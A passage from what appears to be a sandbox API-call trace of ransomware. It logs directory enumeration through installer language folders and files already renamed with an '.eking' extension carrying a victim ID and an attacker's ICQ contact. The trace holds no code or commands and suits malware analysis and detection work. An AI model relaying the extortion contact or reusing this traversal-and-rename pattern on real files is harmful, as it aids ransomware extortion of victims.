nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.054] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.054] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.055] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.055] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.055] GetProcessHeap () returned 0xaf0000 [0275.056] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.056] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1040", cAlternateFileName="")) returned 1 [0275.056] GetProcessHeap () returned 0xaf0000 [0275.056] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0275.057] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.057] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4121acc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4121acc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.057] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4194234, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4194234, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.057] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.057] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.058] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0275.058] GetProcessHeap () returned 0xaf0000 [0275.058] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.059] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1041", cAlternateFileName="")) returned 1 [0275.059] GetProcessHeap () returned 0xaf0000 [0275.059] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.060] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.060] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5755a46, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5755a46, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57ee350, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.060] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57c801f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57c801f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.060] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.060] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.060] FindClose (in: hFindFile=0xb031c8 | out: hFindFile=0xb031c8) returned 1 [0275.061] GetProcessHeap () returned 0xaf0000 [0275.061] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.061] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1042", cAlternateFileName="")) returned 1 [0275.061] GetProcessHeap () returned 0xaf0000 [0275.061] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.063] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.063] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5814523, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5814523, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.063] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.063] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.063] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.063] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.064] GetProcessHeap () returned 0xaf0000 [0275.064] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.064] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1043", cAlternateFileName="")) returned 1 [0275.064] GetProcessHeap () returned 0xaf0000 [0275.064] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.297] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.297] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bc7339, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bc7339, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bfec24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.297] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bcede9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bcede9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c406f9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.297] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.297] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.297] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.297] GetProcessHeap () returned 0xaf0000 [0275.297] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.297] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1044", cAlternateFileName="")) returned 1 [0275.297] GetProcessHeap () returned 0xaf0000 [0275.297] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0275.299] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.299] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c406f9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c406f9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5f98f09, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.299] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c8cba0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c8cba0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c8cba0, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.299] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.299] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.299] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0275.300] GetProcessHeap () returned 0xaf0000 [0275.300] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.301] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1045", cAlternateFileName="")) returned 1 [0275.301] GetProcessHeap () returned 0xaf0000 [0275.301] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0275.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 